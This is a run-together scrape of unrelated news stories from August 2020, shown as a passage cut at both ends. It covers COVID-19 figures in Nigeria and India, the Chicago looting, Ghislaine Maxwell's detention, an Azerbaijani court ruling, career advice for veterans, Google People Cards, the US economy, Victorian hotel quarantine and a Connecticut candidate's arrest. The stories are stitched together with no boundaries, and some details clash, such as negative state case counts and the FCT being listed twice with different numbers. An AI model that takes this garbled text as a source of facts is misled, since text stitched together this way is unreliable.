Nadu are not language chauvinists. They only resent forceful imposition of another language, be it is through maltreatments at airports and universities or the implementation of a new National Education Policy. The Rainbow Nigeria on Monday confirmed 290 fresh cases of COVID-19, which maintains a decelerating trend picked up last week. The Nigeria Centre for Disease Control, who announced the latest infection numbers on Monday in a tweet on its handle, also disclosed 33,346 persons have recovered from the virus infection in Nigeria since late February when the first index case was reported in the country. The agency confirmed new cases in 15 states and the Federal Capital Territory (FCT), taking the number of infected people in the nation to 46,867. On the whole, 950 persons have died in the country from the virus. The NCDC latest data indicate that Lagos and the FCT reported the highest cases for the day 82 each. Other states with fresh cases are Oyo 19, FCT 18; Edo 16; Kaduna 15; Enugu -9; Ogun 9; Kano -8; Kwara 8; Cross River -5; Ondo 5; Rivers -5; Ekiti -4; Imo 3 and Borno 2. Worried by the number of fatalities from COVID-19 in the country, Minister of Health, Dr Osagie Ehanire, is however warning that Nigerians should not relapse in the adherence to safe distancing and other protocols which the government put in place. Ehanire at a briefing of the Presidential Task Force (PTF) on COVID-19 in Abuja on Monday said that until a vaccine is found for the virus, adherence to the guidelines is the surest way to stay safe. Until there is a vaccine, the only options we have to protect ourselves, are still the non-pharmaceutical measures that are proven to be cheap and effective, such as the appropriate use of face masks, physical distancing, and avoiding crowds. If we do not adhere, there could be regrets, he warned. Incidentally, many Nigerians have since returned to their normal ways of lives, believing that the pandemic is over. Many argue that the number of deaths arising from the virus are not up to the number of persons that die from malaria in the country. Members of Black Lives Matter Chicago held a rally on Monday night in support of more than 100 people arrested following widespread looting and rioting in the city the night prior. Speaking at the rally outside a police station in the South Loop where organizers said the suspected looters are in custody, organizer Ariel Atkins excused the looting which reportedly caused at least $60 million in property damage and left 13 police officers injured calling the theft reparations, NBC Chicago reported. I dont care if someone decides to loot a Gucci or a Macys or a Nike store, because that makes sure that person eats, Ariel Atkins, a BLM organizer, said. That makes sure that person has clothes. That is reparations, Atkins added. Anything they wanted to take, they can take it because these businesses have insurance. Hundreds of people swarmed downtown Chicago early Monday, breaking the windows of dozens of businesses and stealing anything they could, including merchandise and cash machines, after Chicago police officers shot an armed man in Englewood on Sunday. Latrell Allen, 20, had fired shots at police prompting them to return fire, striking and wounding him, police said. Allen now faces attempted murder charges after the incident. This person fired shots at our officers, CPD Superintendent David Brown said. Officers returned fire and struck the individual. Black Lives Matter organizers expressed skepticism over the shooting, showing concern that none of the officers involved had worn body cameras. Police say a lot of things, Atkins said. Even though the Department of Justice said with the consent decree they are no longer allowed to chase people, they decided they were going to chase, and they shot this young man multiple times. The unrest was sparked by a social media post urging people to descend on Chicagos business district after the officer involved shooting. A video posted on Facebook around 6:30 p.m. falsely claimed that officers had shot and killed a 15-year-old boy, Fox News reported. Story continues This was not an organized protest. Rather, this was an incident of pure criminality, Police Superintendent David Brown told reporters of the looting. This was an act of violence against our police officers and against our city. Hoping to prevent additional looting in the Central Business District, police are setting up barriers and raising bridges in downtown Chicago. Expressway exits are also closed and CTA trains and buses are running limited routes, NBC Chicago reported. More from National Review Andhra Pradesh Chief Minister YS Jagan Mohan Reddy on Tuesday reached out to Centre for help in ramping up the medical infrastructure, in the backdrop of Covid-19 pandemic. Andhra Pradesh Chief Minister YS Jagan Mohan Reddy has said that the State could keep the Covid 19 mortality rate low with aggressive testing, contact tracing besides timely treatment and urged the Centre to provide help in ramping up the medical infrastructure. During the video conference with Prime Minister Narendra Modi, the Chief Minister said the state could maintain a low mortality rate of 0.89 percent as we have been adopting the strategy of aggressive testing in containment clusters, identifying the positive cases and providing them treatment and containing the spread of the pandemic besides de-stigmatising and creating awareness among the people with the active involvement of over two lakh people from ground level upwards in various capacities. So far we have done 25, 34, 304 tests of which 2.35 lakh persons were positive. Tests per million in our Sate has logged 47, 459. When the first case was reported in March, we had no virology lab and had to send the samples t o Pune and from that stage we have progressively improved the infrastructure and now all the 13 districts in our State have testing labs and hospitals for Covid and they are self reliant. Together with the Rapid Antigen tests, tests have crossed the 70 000 mark and the average is at 60,000 tests per day. Samples are also being taken through 100 mobile labs in at least 1500 areas and we could penetrate even into the remote areas. After the testing is done, depending on the severity, we have been sending them to home isolation, or to Covid Care Centre or Covid hospitals. We have also increased the strength of ambulance vehicles to 1088 and the vehicle is available at mandal (block) level so that anyone who requires testing should not be deprived of the facility. The State has 138 Covid Care Hospitals with 37, 189 beds and for people with mild symptoms we have identified 109 Covid Care Centres with a bed capacity of over 56 000. We have increased the bed strength with oxygen facility from 4,286 to over 11,000 during the past three months. About 32,000 personnel from doctors to nursing staff, technicians and other staff are working in 138 Covid Care hospitals. We have also started help desks to guide the people on how to go about when symptoms are found. We are grateful to you for the help being provided during these testing times, and as ours is a newly formed State with no Tier I cities like Hyderabad, Chennai of Bengaluru, we look forward for your help in ramping up the medical infrastructure in Tier II cities. Deputy Chief Minister Alla Nani, Home Minister M Sucharita, Chief Secretary Nilam Sawhney, Medical and Health Special Chief Secretary KS Jawahar Reddy were among those who were at the meeting. Ghislaine Maxwell speaks at the Arctic Circle Forum in Reykjavik, Iceland, in October 2013. (The Arctic Circle via Reuters) Maxwell Asks to Join General Prison Population, Cites Onerous Conditions The attorneys for Ghislaine Maxwell on Aug. 10 asked the judge presiding over their clients child sex abuse case to move Maxwell to the general prison population, arguing that the defendant is unable to adequately prepare for her trial defense due to the onerous conditions of her confinement resulting from the purported prison suicide of her accomplice and former boyfriend Jeffrey Epstein. According to a letter from her attorneys (pdf), Maxwell has been held in solitary confinement under 24-hour surveillance for 40 days. The prison guards constantly watch her and take notes about everything she does. Some of the guards do not appear to be regular prison employees, the lawyers noted. Until recently, Ms. Maxwell was subjected to suicide watch protocols, including being woken up every few hours during the night and being forced to wear special clothing, despite the fact that she, unlike Mr. Epstein, has never been suicidal and was never diagnosed as exhibiting risk factors for suicide, the attorneys wrote. Her cell is searched multiple times a day and she has been forced to undergo numerous body scans. In addition, Ms. Maxwells access to the standard prison resources available to other pretrial detainees in the general population has been extensively curtailed or eliminated altogether. Maxwell was arrested in New Hampshire over a month ago on charges that she facilitated and aided Epstein by recruiting, grooming, and sexually exploiting minor girls. She has denied all of the allegations and intends to fight the charges in court. A lawyer representing seven women who say they were abused by Epstein previously told The Epoch Times that he is worried that Maxwell will end up dead. I have grave concerns that she doesnt make it out of jail alive, Spencer Kuvin said. Maxwells attorneys argue that the unique conditions under which their client is held are impeding her ability to prepare a defense for her trial. They said that under a proposed arrangement, she would only be able to access a computer to view case documents during a three hour period in which she is allowed to leave her cell. The attorneys say that this time is Maxwells only chance for recreation, exercise, and personal hygiene, including taking showers. Even if she sacrificed this time in favor of preparing for the defense, it would take Maxwell until mid-November 2020 just to examine the first batch of 13,000 documents produced by the prosecutors. This is entirely unworkable under the schedule set by the court, the attorney wrote. In the same letter, the attorneys also asked the judge to order that Maxwell be told the identity of the three victims whose names were withheld from the indictment. Epstein was facing child sex trafficking charges last year when he was found dead in his cell. Authorities later indicted two prison guards for failing to conduct prisoner counts on their watch. Zachary Stieber contributed to this report. BAKU, Azerbaijan, Aug. 11 Trend: A Plenum of Azerbaijans Constitutional Court held a regular court session chaired by the court's Chairman Farhad Abdullayev through written procedure of special constitutional proceedings, the press service of the court told Trend. The session considered a constitutional case on the interpretation of Article 2.1.2.6 of the Law of Azerbaijan "On Deposit Insurance" in terms of Articles 47 and 48 of the Law of Azerbaijan "On Banks" at the request of Azerbaijans Cabinet of Ministers. Initially, hearing of Judge Kamran Shafiyevs report on the case was held, followed by study and discussion of the written judgments of the interested parties representatives - Chairman of the Central Bank of Azerbaijan Elman Rustamov and Executive Director of the Deposit Insurance Fund Tural Piriyev. Further, the judgments of Head of Azerbaijani Parliaments Economic and Social Legislation Department Mahammad Bazigov and specialist - President of the Azerbaijani Association of Banks Zakir Nuriyev, as well as the case materials were studied and discussed. After the hearing, study and discussion, the plenum adopted a decision. Taking into account the Article 12 of Azerbaijans Constitution and on the basis of the Article 2.1.2.6 of the Law On Deposit Insurance, Articles 47 and 48 of the Law On Banks, the deposits taken after applying the corrective measure, with an increase in volume and a change in conditions, are considered protected deposits. In accordance with Article 944.1 of Azerbaijans Civil Code, a bank deposit agreement is considered concluded from the moment of the deposit transfer to the bank by the depositor and should be accepted as the initial (main) agreement. The date of migration of the deposit agreements cannot be considered the time of the conclusion of the deposit agreement. The decision comes into force from the date of publication, is final and irreversible, cant be changed or officially interpreted by any authority or person. So you think after 20+ years in the military, you qualify as a "senior leader?" I would probably agree. According to Defense Department statistics, if you are an E-8 or above, or an O-5 or above, you are ranked in the top 5% of our nation's military. You have mostly likely worked with a staggering amount of responsibility for people, equipment and operations. You might have served as a chief of staff, captain of a ship, brigade commander, command sergeant major, command master chief, god of the air wing, empress of the stratosphere, and/or lord of all you perceive. By definition, you are a senior leader. But don't call yourself one during your transition. My transitioning military clients tell me they hear that advice all the time. I personally give this advice as we analyze their resumes and put together their all-important headlines on LinkedIn. It makes no sense. Surely, "senior leader" is the kind of generic term civilians want to indicate what level you attained in your career, without expecting them to know everything about your particular branch of the military. Yet that is not the signal civilian hiring managers get when they read the term "senior leader." It is an irritant for them -- like using the terms CEO, CFO, VP-level or C-Suite to describe yourself on LinkedIn or in a professional statement. These are words that do not work. I reached out to a few of my colleagues to find out why this is such a bad idea and what a few good alternatives might be. Here are the reasons you might not want to use the term senior leader during your job hunt: 1. There's no such job. Every professional I talked to said the same thing: "There is no such job as senior leader." It was like they had called each other and prepared an answer in advance. "Nobody is hiring a senior leader," Brenda Tracy told me. She has been a recruiter for more than 30 years, often working for defense clients such as Booz Allen Hamilton and Lockheed Martin. She has interviewed hundreds of transitioning military members. "If the intent of that [LinkedIn] space is to be visible to employers, then the use words employers will search by." In your headline, use a noun to describe yourself that will be a search term for the recruiter. Tracy suggests that the best words to use are job titles and skill-based keywords. Collect possibilities on Indeed or LinkedIn and then get feedback from friends who are already out of the military to make sure you are in the right ballpark. 2. I don't think the term means what you think it means. In the military, everyone knows what you mean when you use the term senior leader. Outside the military, that can be very different. Shawn Edmondson, who retired from the Army and now works as the lead local veteran employment representative at the Virginia Employment Commission, is constantly bringing employers and individual veterans together. He sees that sometimes the gap comes from how different industries use the term "senior." "For example, some shift leaders [at a shipyard] could be described as senior leaders, and they could be in their early 20s. The hiring authority needs to know what 'senior' means to you and how much responsibility did it include," he says. Edmondson adds that the place to spell that out is on your resume or in the Experience section of your LinkedIn page. Be sure to use numbers to quantify your experience, but do not list the number of years you have been working. 3. Senior leader strikes the wrong note. "'Senior leader' might scare off an employer," said Michele Lewis, who has taught more than 1,500 senior enlisted and senior officers how to find their first civilian job. She says that when the term is used as a noun, it can convey a certain level of arrogance -- whether you want it to or not. "'Senior leader' instantly gives the air that we are going to be working for you, not that you will be working with us," said Lewis. Since employers already wonder whether senior military members are going to be stamping around issuing orders, refusing to make their own travel arrangements, and terrifying the interns, it is probably best to avoid this kind of message. It can also be a bad idea when you find yourself speaking to the senior leader of the company. "In the corporate world, there are often only one or two senior leaders. You don't want to give them the idea that you are after their job," Lewis said. She thinks that senior leadership is something best demonstrated as a skill set or as a professional aptitude. What term should you use? The best term to call yourself is the name of the job you are trying to get, such as program manager or operations analyst. If you don't know what job you want to do, you can temporarily use a more generic term to describe yourself in your LinkedIn headline or on your resume. This general term should be considered a placeholder, not a final product, and you should expect to refine it as you move closer to the civilian world. Here are suggestions you might use, depending on your experience: Senior executive Executive-level director Senior manager Senior analyst Senior defense professional Acquisition program analyst Human resources professional Operations manager Supply chain manager Financial manager, budget and acquisition Project manager Program manager (someone with full contract oversight) Program director You could also use a more trendy term. Edmondson suggests choosing a term related to what you have done and what you want to do after transition. "I would use titles such as Change Agent, Diversity Inclusion Specialist, Process and Procedures Management Specialist. These are broad and would not box them in when pursuing opportunities or turn a recruiter off," he said. Tracy says these trendier terms are used most often when it comes to management consulting jobs in firms such as Accenture, Ernst & Young or Deloitte. If you see a term like this and you think it applies to you, Tracy suggests that you get online and find a job listing for that title. The listing can also help you identify keywords for that kind of position so you can tweak your resume. Getting the nuances of the job hunt right can seem like one more thing to do. Keep in mind that you are always signaling to the employer that you not only have the experience to do the job, but you have the social intelligence to understand what is going on and shape your behavior to fit in -- which is how you became a senior leader in the first place. Jacey Eckhart is a Certified Professional Career Coach and military sociologist who helps military members get their first civilian job by offering career-level Master Classes through our Veteran Job Pool and on her website seniormilitarytransition.com. Reach her at Jacey.Eckhart@Monster.com. Find out the secrets to getting a civilian hiring manager to seeing your true value. We teach you proven career-level strategies to help you obtain your next, high-impact job. Sign up today. FP Trending On Tuesday, Google announced 'People Cards', which will allow users to build an online presence and discover others on Search. As per Google, the feature allows users to create a virtual visiting card on Search, highlight their website or social profiles and add information about their selves that they would like others to know. The People Cards feature is aimed at helping individuals, influencers, entrepreneurs, prospective employees, self-employed people, freelancers who want to be discovered and help the world find them. Introducing the people card on Google Search. Showcase your business, passion or portfolio when people search for you on Google. Get started https://t.co/CAm3mRiCgM pic.twitter.com/wPx6GIUdWz Google India (@GoogleIndia) August 11, 2020 Starting 11 August, users across India can discover the people cards on their mobile phones in English. How to create your People Card on Google Search Step 1: To create a People Card, users will first need to sign in to their Google Account, search for their name on Google Search Step 2: Tap on the "add me to Search" option that appears on the page Step 3: Upload an image of yourself from your Google account, add a description and links to social profiles or websites. You can even include your phone number or email address if you want it on your virtual visiting card Step 4: Tap on the "save" option and that's it Google said that for every new card, the user must authenticate the account with a unique mobile number. He/she will have complete control of the information to be included on the card and can opt-out of the experience anytime, which will stop their details from appearing in Search. How secure is People Cards? To make sure people find reliable and helpful information, the tech giant has put together several protections and controls. It has also added safeguard mechanisms to protect against offensive content. There is a feedback button with the help of which users can identify and report low-quality information or a card that they believe was created by an impersonator. For people looking to find someone on Search with their name, the card will be available. There will be a module with the name, profession and location which users can tap to see their card. For people who share the same name, the Search will show multiple modules. The unique information will help users distinguish between different individuals to find accurate information. The Special Economic Zone (SEZ) in Duqm can now register new businesses in under 15 minutes as opposed to around five days until recently under revamped and modernised procedures that have been introduced by the SEZ Authority (Sezad), a media report said. The streamlined procedures are aimed at positioning the SEZ as an investment destination and integrated hub anchored by a modern city that offers the highest living standards, Dr Ismail Ahmed al Balushi, CEO Sezad, was quoted as saying in an Oman Observer report, which cited his interview featured in Duqm Economist. The digital transformation plan being currently implemented by Sezad has contributed to reducing the time required for completing investor applications, said Dr Al Balushi. In addition, investors can get their business licenses from Sezad in just one day without the need to approach other entities once all required documents are submitted. This will ensure that projects can start their economic activities in a speedy and flexible manner. Under the revamped procedures, applications for land usufruct will be processed within five days (compared with 30 days previously), while a business license will be issued in 24 hours (versus five days previously). Likewise, construction permits will be issued within five days presently, as opposed to 15 days in the past. Environmental permits will be issued within 25 days for Grade 1 (heavy industries), five days for Grade 2 (medium industries) and two days for Grade 3 (light industries), Dr Al Balushi said. Indicators are flattened, clear downside risks Having overcome the initial coronavirus shock in March and April more rapidly than expected, aided by massive doses of fiscal and monetary stimulus, the rebound from the sudden recession is now being threatened by a surge in Covid-19 cases across many parts of the Sunbelt, including populous states like Florida, Texas and California. The loss of economic momentum is already appearing in high-frequency data, all of which are flattening out. The impact is especially pronounced in the hardest hit states, as consumers again become more cautious and authorities pause or even roll back the process of lifting restrictions on economic activity. According to an analysis of weekly data produced by Census Bureau about the economic impact of coronavirus, the share of US adults employed fell 1 percentage point from mid-June to early July, after it had been climbing steadily since early May. The economy is still very much depressed because of the out-of-control virus, and the virus is just getting more out of control, says Aaron Sojourner, a professor of economics at the University of Minnesota and a former senior economist of the White House council of economic advisers under Barack Obama who analysed the Census Bureau data. If that trend is allowed to continue theres no reason we cant lose the gains weve made over the last couple of months and even see worse things in the future. Senior Federal Reserve officials who had from the beginning of the coronavirus crisis warned that the US economy was facing a long and difficult road back to normality have been watching the real-time economic data with growing concern. Lael Brainard, a Fed governor, said last week the US economy was still shrouded in a thick fog of uncertainty with downside risks dominating the outlook. Rising deaths and hospitalisations which have had a severe impact on Texas in recent weeks were having a chilling effect on economic growth, he says. The headwinds hitting the US recovery. After shedding 22.2m jobs at the start of the pandemic in March and April, according to the Bureau of Labor Statistics, US employers quickly rehired 7.5m people to work in May and June, including 503,000 people in Florida. Other indicators bounced back rapidly too, such as retail sales almost regaining the ground lost earlier in the year. Manufacturing also showed some life, with the Institute for Supply Managements index rising to a level of 52.6 per cent in June, pointing to an expansion of the industrial sector for the first time since February. But many economists fear that the upswing will prove to be unsustainable and susceptible to being reversed in the coming weeks and months, as a result of new outbreaks. In California, Americas most populous state and a big driver of the US economy, Democratic governor Gavin Newsom last week ordered a shutdown of all bars across the state, and banned indoor operations for restaurants, wineries, cinemas and museums. Even in states like Florida led by Republican governors who are more reluctant to reimpose restrictions, anxiety over the spreading disease risks undermining the economic rebound. That caution may even extend to states and regions, including the north-east, which were hit hard in the early stages of the pandemic. Liz Ann Sonders, chief investment strategist at Charles Schwab, the financial services group, says the slowdown is being felt pretty much across the country and not just in the Sunbelt states. The University of Michigans index of consumer sentiment dropped in July to 73.2, bringing it back down to near its April trough of 71.8 and losing the bulk of the gains made in June. Ms Sonders worries that while the share of temporary job losses has been decreasing across the economy, the share of permanent job losses has been increasing. John Newstreet, who leads the local Chamber of Commerce in Osceola county near Orlando, worries that more lay-offs could become permanent in his tourism-dependent area. Won't recover for the next decade America's recovery from the pandemic recession could last through the better part of the next decade, according to the Congressional Budget Office's 10-year forecast published Thursday. The Covid-19 outbreak and subsequent lockdown has brought the economy to a stop, and even though states are slowly reopening, it will be a tough next decade as the country recovers from this recession, according to the CBO. On top of that, the forecast is riddled with uncertainty in terms of the virus itself, changes to consumer behavior and policy responses, the CBO cautioned. The CBO now forecasts the unemployment rate will remain above its pre-pandemic level -- which was a near-50-year low of 3.5% -- until after 2030, the end of the current forecasting range, the CBO predicts. The 10-year average unemployment rate will be 6.1%, up from 4.2% projected in January. Meanwhile real US gross domestic product, the broadest measure of the economy, will be an average 3.4% lower over the next decade than what was originally predicted in January. It will take until 2028 until GDP will grow in line with long-term trend growth again. And that's not all: This recession could nearly quadruple the federal budget deficit this year, pushing it to a whopping $3.7 trillion, according to projections from April. The CBO projects the unemployment rate to peak in the third quarter before falling rapidly in the remainder of 2020 and throughout 2021. So far, unemployment peaked in April at a rate of 14.7%. More than 20 million jobs vanished that month. But since then, America has seen a record number of jobs resurface as the economy reopens: 4.8 million jobs were added in June, bringing the unemployment rate to 11.1%. Still, with worries about rising Covid-19 infection rates in parts of the country, some states are putting their reopening on hold. A stunted rebound will dash US president Donald Trumps hopes of heading into the November re-election contest against Joe Biden armed with a V-shaped recovery, as he had banked on from the start of the coronavirus crisis. But the jitters over the economic hit from a new wave of cases could be compounded by Washingtons inability to strike a deal over additional fiscal stimulus to help support the recovery. One of the main reasons why consumer spending and a good chunk of jobs bounced back so fast in the US was that they were driven by the $3tn in stimulus approved in the early months of the crisis, including direct government payments to households, a sharp expansion in jobless benefits, and forgivable loans to small businesses. The question now is whether this is just a blip and the recovery will soon gather pace again, or whether the worlds largest economy is heading for a relapse that would compound the damage to American businesses and households and the global economy already inflicted by the first hit. But the impact of those measures is fading just as the outlook is darkening. While Democrats have called for an additional $3tn in new spending on unemployment assistance, direct payments to households, and funds for cash-strapped states and local governments, Republicans have been reluctant to support the measures, leading to a stand-off that will come to a head in the coming days on Capitol Hill. One of the biggest sticking points is the fate of $600 per week in emergency jobless benefits introduced during the pandemic, which expires later this month and which Republicans and the White House have wanted to cut because they believe it is excessively generous and disincentives work. Even if a compromise is reached, it is likely to involve a significant reduction in support compared with the previous round, which may reduce discretionary income for many families and even jeopardise their rent or mortgage payments. If no money is approved for cash-strapped states and municipalities, many will be forced to further shrink their workforces. Many economists are concerned that any agreement coming out of Washington could be underwhelming and insufficient. Van Cuong If the lights are flashing at a level crossing but the boom gates haven't lowered yet - is it safe to pass through? The question posed by Queensland's Department of Transport and Main Roads on social media had Australian drivers stumped. A flashing orange light at a normal city intersection means a driver can proceed through the crossing with caution - but when passing over train tracks and the light is red, this is not the case. You know your road rules, and nows your chance to prove it. The lights are flashing at this level crossingbut the boom gates havent lowered yet. Should the green car drive through the crossing? When two red lights are flashing it is a warning to motorists that a train is coming and the boom gate is about to be lowered or lifted. 'Level crossing collisions between trains and vehicles are a major safety risk,' the transport department said. 'You must not enter a level crossing if warning lights are operating, or warning bells are ringing.' Understanding the important road safety tip could save your life as there are more than 2,800 level crossings scattered across Queensland. But one Facebook user didn't quite seem to comprehend the message and offered an alternative and dangerous perspective on what to do when the lights are flashing and your waiting for the boom gate to go down. 'The law says no. However, if the boom gates have only just started to go down the train is not even in sight yet (and) the car can fit under, there's no chance of being hit by the train yet,' the man posted. Do not enter a level crossing if: *Warning lights are operating, or warning bells are ringing *A gate, boom or barrier at the crossing is closed or is opening or closing *A train or tram is on, or entering the crossing *An approaching train or tram can be seen, or is sounding a warning *The driver cannot drive through the crossing because it, or the road beyond, is blocked All level crossings have some form of protection across Queensland such as: Warning signs such as stop and give way signs Flashing lights and/or warning bells Boom gates pedestrian crossing gates. Source: Queensland Department of Transport and Main Roads Advertisement When two red lights are flashing it is a warning to motorists that a train is coming and the boom gate is about to be lowered or lifted. Pictured: A level crossing in Lanefield Queensland 'If there happens to be a police officer right there at that moment to see it, that's just downright bad luck and chances are there won't be. 'So it seems perfectly safe to go through the intersection and keep going rather than stop and be stuck there held up by a train. 'After all, my time is more important than anything else.' Other users were quite to point out you should never do this. One person even called him a 'numb nut' and others urged drivers to stay safe and stop when they see flashing lights. Victorian Premier Grilled Over Hotel Quarantine Premier Daniel Andrews has been grilled over his governments handling of the coronavirus pandemic, saying the defence force wasnt on offer to guard Victorias quarantine hotels. Failures in the hotel quarantine scheme are believed to be responsible for the states second wave of COVID-19, which has killed hundreds of people and led to the nations toughest lockdown. Premier Daniel Andrews told the Public Accounts and Estimates Committees COVID-19 Inquiry the Australian Defence Force hadnt been offered to guard the hotels at the time the scheme was introduced, despite reports to the contrary. It is fundamentally incorrect to assert that there was hundreds of ADF staff on offer and somehow someone said no. Thats not, in my judgement, accurate, he said on Tuesday. Its been provided in limited circumstances in NSW, not to provide security as such but to provide transportation from the airport to hotels. But in a statement, the federal Minister for Defence Linda Reynolds said ADF support was offered to Victoria on multiple occasions. The ADF was consistently advised that its assistance was not required for any public-facing roles in Victoria, she said. Asked by Nationals MP Danny OBrien if he regretted the decision to use private security, Andrews replied: No-one wanted a second wave, none of us has the luxury of going back in time. Victorias Chief Health Officer Brett Sutton told the inquiry he was not involved in the decision to use private security guards. I was not involved in that decision making whatsoever, he said. Department of Health and Human Services secretary Kym Peake told the inquiry her department, along with the Department of Jobs, Precincts and Regions, the Department of Transport, the Department of Premier and Cabinet and Victoria Police were responsible for the governance of the program. Under the states emergency management structure, the Emergency Management Commissioner Andrew Crisp signed off on the plans. Health Minister Jenny Mikakos described the program as a multi-agency effort. Earlier on Tuesday, the Herald Sun published a leaked video of bureaucrats from the Department of Jobs, Precincts and the Regions congratulating themselves for setting up the hotel quarantine program in less than 24 hours. We have been thinking about this as one massive inbound super trade mission, which just keeps rolling, a department head says in the video. Asked why people who fix roads and run an art gallery were running the scheme Andrews replied: People across the board are performing roles and functions that are a long way away from what they might be traditionally expected to. The premier deflected other questions about the program, noting a separate probe into hotel quarantine would begin public hearings on August 17. Andrews also defended the decision to lock-down nine public housing towers in Flemington and North Melbourne in early July. No matter what we did, no element of this could be made perfect, he said. Greens MP Sam Hibbins noted some residents waited days for food to be delivered, while a mother was kept apart from her premature baby in hospital. The ultimate vulnerability here was not whether someone got fed in five hours or waited until the next day to get groceries, Andrews said. The ultimate vulnerability was this thing infecting everyone in those towers and hundreds of people dying. Sutton said he was confident Victoria will be able to bring the second wave under control, but noted elimination of the virus was impossible. The virus is always there globallythe virus will always be there in international travellers, in maritime crew who might arrive on our shores, he said. Professor Sutton said he was optimistic a vaccine will be developed within the next 12 to 18 months. By Benita Kolovos in Melbourne Student who travelled 7,000 miles to join North Wales college has heart set on CEO success This article is old - Published: Tuesday, Aug 11th, 2020 A student who travelled 7,000 miles from Brunei to North Wales and a leading college has her heart set on business success. Imaan Khan will begin a degree in Economics and Management Studies at Cardiff University after completing her A Levels at Coleg Cambria Yale. The institutions newly crowned Enterprise Student of the Year was born in Wrexham before moving with her family to Brunei as a child. She was schooled there, including her GCSEs, but returned to study Business, Economic, English Language and Literature at Yale Sixth, where she grew in confidence and flourished academically and socially. When I came back, I didnt know anyone, so it was very daunting, said the 18 year-old, who lives in the town with mum Shaida, dad Abdul and brother, Akaash, a former student at Chester University. But I was made to feel so welcome and made friends straight away; the lecturers and staff were so supportive; it was a brilliant experience. A member of the triumphant Skills Wales Enterprise team which beat eight Welsh colleges to emerge triumphant in Cardiff Bay earlier this year, Imaan plans to launch and lead her own company one day. Inspired by Cambrias industry partnerships and speakers from organisations such as the Bank of England and government departments, as well as field trips to some of the regions top companies, including Jaguar Land Rover, she has big plans for her future. But for now, Imaan is looking forward to studying in Wales capital city and starting a new chapter in her life after a challenging period since the onset of the Coronavirus pandemic. I would love to be a CEO one day, to work my way up and have my own business is the dream, she said. The impact Cambria has had on my career ambitions is huge, the independence and confidence Ive felt at the college has grown thanks to the learning environment and my tutors. I even gave a presentation alongside the Principal to prospective students and their families at an open event, something I never thought I would ever be able to do but I did it. Imaan added: I am so glad I came to Coleg Cambria, it is a great stepping stone to university and the guidance I received from day one helped me to settle and believe I could go on to higher education. What I enjoyed most was the opportunity to get out of my comfort zone; as a result, I feel like a completely different person. The independent learning skills in particularly are vital for the next steps of my journey, and I thank them for that. Head of Yale Sixth Form Simon Woodward congratulated Imaan on her achievements since joining the institution and said: She has worked exceptionally hard over the last two years, showing commitment and dedication. Imaan is a fantastic role model and we wish her every success in Cardiff and with her future career. For more on A Levels and the range of courses and qualifications available at Coleg Cambria, visit the website. Sushant's father's November 2019 text to Rhea accessed Sushant's father KK Singh has alleged that Rhea had blocked him from her contacts and had also been reluctant to let Sushant contact him. In a WhatsApp message accessed by Republic Media Network, Singh told Rhea in November 2019 that he has every right to know about Sushant and asked for details as she was getting him treated. He had also messaged Sushant's manager Shruti Modi asking her to contact him. He had even urged Shruti to send a flight ticket for him from Patna to Mumbai since she did not want to communicate with him. "When you know that I'm Sushant's father and I'm trying to contact you, why don't you talk to me? what is happening? You're his friend and you've been taking care of him and getting him treated. I have the right to know everything about Sushant too. So call me to give me all the details.", said KK Singh to Rhea Chakraborty in his message in Hindi. Read full story here PM Modi to meet 10 chief ministers after continued coronavirus surge Prime Minister Narendra Modi is set to meet 10 chief ministers to discuss Covid-19 situation as India witnessed a single-day spike of 53,601 new coronavirus cases on August 10, taking the total case tally 22,68,675. The country recorded more cases in a day than the United States and Brazil for the seventh consecutive day. As many as 871 people lost their lives to the contagious disease, taking the total coronavirus-related death toll to 45,257. Earlier, the ministry had said that the coronavirus infection remains concentrated in 10 states that contribute more than 80% of the new cases. Get Live updates here Trump escorted from briefing room after shooting outside White House US President Donald Trump was abruptly escorted from the Briefing Room on August 10 during a regular news conference following a shooting near the White House. Minutes later, he returned and continued the briefing and said that the situation "very well seems to be under control". The shooting reportedly took place near 17th Street and Pennsylvania Avenue, just blocks from the White House. Law enforcement officials were still trying to determine the suspect's motive. "There was a shooting outside the White House and seems to be very well under control. I would like to thank the Secret Service for doing their always quick and very effective work. Somebody has been taken to hospital. Seems the person was shot by Secret Service," Trump said. Read full story here Sachin Pilot thanks Gandhi family for 'addressing grievances' Sachin Pilot thanked Congress interim President Sonia Gandhi, former chief Rahul Gandhi and general secretary Priyanka Gandhi Vadra after returning to the party. Taking to Twitter, Pilot said that he is firm in his belief and will continue to work for a better India. Amid several allegations of tampering with democratic principles and indulging in horse-trading by the BJP, Pilot said that he will work to 'protect the democratic values' that the Congress party cherishes. I thank Smt Sonia Ji, @RahulGandhi Ji, @priyankagandhi Ji & @INCIndia leaders for noting & addressing our grievances.I stand firm in my belief & will continue working for a better India, to deliver on promises made to the people of Rajasthan & protect democratic values we cherish pic.twitter.com/kzS4Qi1rnm Sachin Pilot (@SachinPilot) August 10, 2020 Read full story here UNGA President-elect on Kashmir issue raised by Pakistan Addressing a news conference along with Pakistan Foreign Minister Shah Mahmood Qureshi, UN General Assembly president-elect Volkan Bozkir on Tuesday said that he is ready to 'help' Pakistan and India within his mandate to resolve their differences on Kashmir issue if requested by both the parties. Bozkir said that the resolution of the Kashmir issue was vital for sustainable peace in South Asia, and offered that he can help as per his mandate. The UNGA president-elect arrived in Islamabad on Sunday on a two-day visit at the invitation of the government of Pakistan. "If my assistance is requested by the parties, I will be ready to provide contributions within my mandate," he said. Read full story here The Republican endorsed candidate for Connecticuts 2nd U.S. House district ended his campaign after he was arrested late Monday night, just hours before polls opened for the Connecticut primary on Tuesday. Thomas Gilmer of Madison was charged with first degree unlawful restraint and second degree strangulation by the Wethersfield Police Department. The arrest stems from a possible domestic assault that took place in Wethersfield. Gilmer was located by the Madison Police Department. He did not turn himself in, a spokesman for the Wethersfield Police said. Gilmer was released on a $5,000 bond before his court appearance Tuesday in New Britain. Contributed / The Connecticut Republican Party announced on Twitter Tuesday morning that Gilmer had ended his campaign due to the severity of the allegations. Gilmers primary opponent, Republican Justin Anderson, reportedly received video evidence of the alleged assault this spring. He alerted the state Republican party but did not immediately go to authorities apparently because the victim did not desire to come forward. The Wethersfield Police said they were contacted in regards to a possible assault in the town on July 22. The handling of the video has sparked a clash between state party leaders and the Anderson campaign. Connecticut GOP Chairman J.R. Romano said when he heard about the video from Anderson, he told him to turn it over to law enforcement. I never had the evidence, Romano said Tuesday. I was being told by Mr. Anderson that the victim did not want to go to the police. He was saying the victim did not want to do that. I believe if you have evidence of a crime, you should bring it to the police. In a press release sent to Republican Town Committee members, Andersons campaign accused Republican leaders of using the video to attack Anderson, not Gilmer. Instead of investigating the issues over the last three months, party leaders participated in cajoling, 